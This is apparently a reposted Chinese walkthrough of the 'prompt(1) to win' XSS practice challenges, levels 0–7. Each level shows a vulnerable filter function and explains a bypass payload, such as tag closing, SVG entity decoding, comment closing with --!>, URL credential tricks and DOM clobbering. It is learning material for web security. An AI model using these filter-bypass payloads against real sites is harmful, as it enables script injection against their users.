XSS練習-prompt(1) to win


第零關

Text Viewer

function escape(input) {
    // warm up
    // script should be executed without user interaction
    return '<input type="text" value="' + input + '">';
}

Answer

對輸入的文本沒有進行過濾措施直接輸出,可以閉合前面的 input 標簽再構造 script 標簽

"><script>prompt(1)</script>

第一關

Text Viewer

function escape(input) {
    // tags stripping mechanism from ExtJS library
    // Ext.util.Format.stripTags
    var stripTagsRE = /<\/?[^>]+>/gi;
    input = input.replace(stripTagsRE, '');

    return '<article>' + input + '</article>';
}        

Answer

利用正則表達式過濾了成對出現的尖括號,但瀏覽器會自動補全右尖括號,所以只要不輸入右尖括號就能繞過過濾

  • ?:表示匹配前面的子表達式(/)零次或一次
  • [^>]:為負值字符集合,匹配未包含 > 的任意字符
  • +:表示匹配前面的子表達式一次或多次

<img src=# onerror="prompt(1)"

第二關

Text Viewer

function escape(input) {
    //                      v-- frowny face
    input = input.replace(/[=(]/g, '');

    // ok seriously, disallows equal signs and open parenthesis
    return input;
}       

Answer

過濾了 = 和 ( ,利用 SVG 標簽,該標簽會將 XML 實體(轉義序列)提前解析再加入標簽,從而繞過過濾

<svg><script>prompt&#x28;1)</script>

頁面遇到 javascript 代碼時阻塞 html 的解析,先執行 js 代碼(也就是上面的 escape function)。此時輸入中的 xml 實體未被解析,從而繞過過濾,並將輸入 return 到 html 文檔中,繼續解析 html。

當遇到 svg 標簽,先將其標簽的內容當成 xml 解析,此時解析輸入中的實體。

當 html 再次進行解析時,會把已被解析的實體當成 html 代碼執行。

也可以利用 JS 中的 eval 函數
<script>eval.call`${'prompt\x281)'}`</script>

第三關

Text View

function escape(input) {
    // filter potential comment end delimiters
    input = input.replace(/->/g, '_');

    // comment the input to avoid script execution
    return '<!-- ' + input + ' -->';
} 

Answer

將輸入轉化成注釋,並過濾了->防止閉合注釋。但使用--!>也可以閉合注釋,並且繞過過濾

--!><script>prompt(1)</script>

第四關

Text View

function escape(input) {
    // make sure the script belongs to own site
    // sample script: http://prompt.ml/js/test.js
    if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
        var script = document.createElement('script');
        script.src = input;
        return script.outerHTML;
    } else {
        return 'Invalid resource.';
    }
}

Answer

這題使用了 RegExp 對象的 test 方法過濾輸入,可以利用decodeURIComponent()這個函數可對encodeURIComponent()函數編碼的URI進行解碼的特性,將 %2f 解碼成為 /

payload 為//prompt.ml%2f@localhost/xss.js,讓 browser 把prompt.ml%2f當作身份驗證,然后訪問localhost/xss.js。(URL結構

第五關

Text View

function escape(input) {
    // apply strict filter rules of level 0
    // filter ">" and event handlers
    input = input.replace(/>|on.+?=|focus/gi, '_');

    return '<input value="' + input + '" type="text">';
}        

Answer

過濾了>,on事件和focus事件

  • |:或操作,字符具有高於替換運算符的優先級,使得"m|food"匹配"m"或"food"。若要匹配"mood"或"food",請使用括號創建子表達式,從而產生"(m|f)ood"
  • .:匹配除換行符(\n、\r)之外的任何單個字符
  • ?:該字符緊跟在任何一個其他限制符后面時,表示懶惰(非貪婪)匹配

在 html 中,屬性描述不在同一行仍然可以生效。將 type 覆蓋為 image ,用 onerror 事件(multi-line)觸發XSS

" type="image"  src=# onerror
=prompt(1) 

第六關

Text View

function escape(input) {
    // let's do a post redirection
    try {
        // pass in formURL#formDataJSON
        // e.g. http://httpbin.org/post#{"name":"Matt"}
        var segments = input.split('#');
        var formURL = segments[0];
        var formData = JSON.parse(segments[1]);

        var form = document.createElement('form');
        form.action = formURL;
        form.method = 'post';

        for (var i in formData) {
            var input = form.appendChild(document.createElement('input'));
            input.name = i;
            input.setAttribute('value', formData[i]);
        }

        return form.outerHTML + '                         \n\
<script>                                                  \n\
    // forbid javascript: or vbscript: and data: stuff    \n\
    if (!/script:|data:/i.test(document.forms[0].action)) \n\
        document.forms[0].submit();                       \n\
    else                                                  \n\
        document.write("Action forbidden.")               \n\
</script>                                                 \n\
        ';
    } catch (e) {
        return 'Invalid form data.';
    }
}        

Answer

這段 Javascript 代碼用用戶的輸入構造一個 form 表單,表單的輸入(input)由 JSON 格式的數據解析得到,表單的網址(即 action 屬性)由用戶控制。但使用了 RegEsp 對象的 test 方法過濾了javascript:vbscript:data:關鍵字,阻止偽協議執行腳本。

由於檢查的對象是document.forms[0].action,如果表單中有多個 action 值,前者會被后者覆蓋。比如輸入 payload:javascript:prompt(1)#{name="action":value="xss"},這時判斷條件中的forms[0].action指向的是 name 為 action 的<input>標簽,從而繞過過濾。

name 和 id 兩個屬性可以用來覆蓋真正的標簽成員,以此繞過過濾。

第七關

Text View

function escape(input) {
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');
    return segments.map(function(title) {
        // title can only contain 12 characters
        return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
    }).join('\n');
}        

Answer

map() 函數構造一個新的數組,其中的元素是調用數組(segments)的每個元素執行指定函數后返回的值。該段代碼將用戶輸入分段以段落輸出,每個分段不超過12個字符。

(To be continue...)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM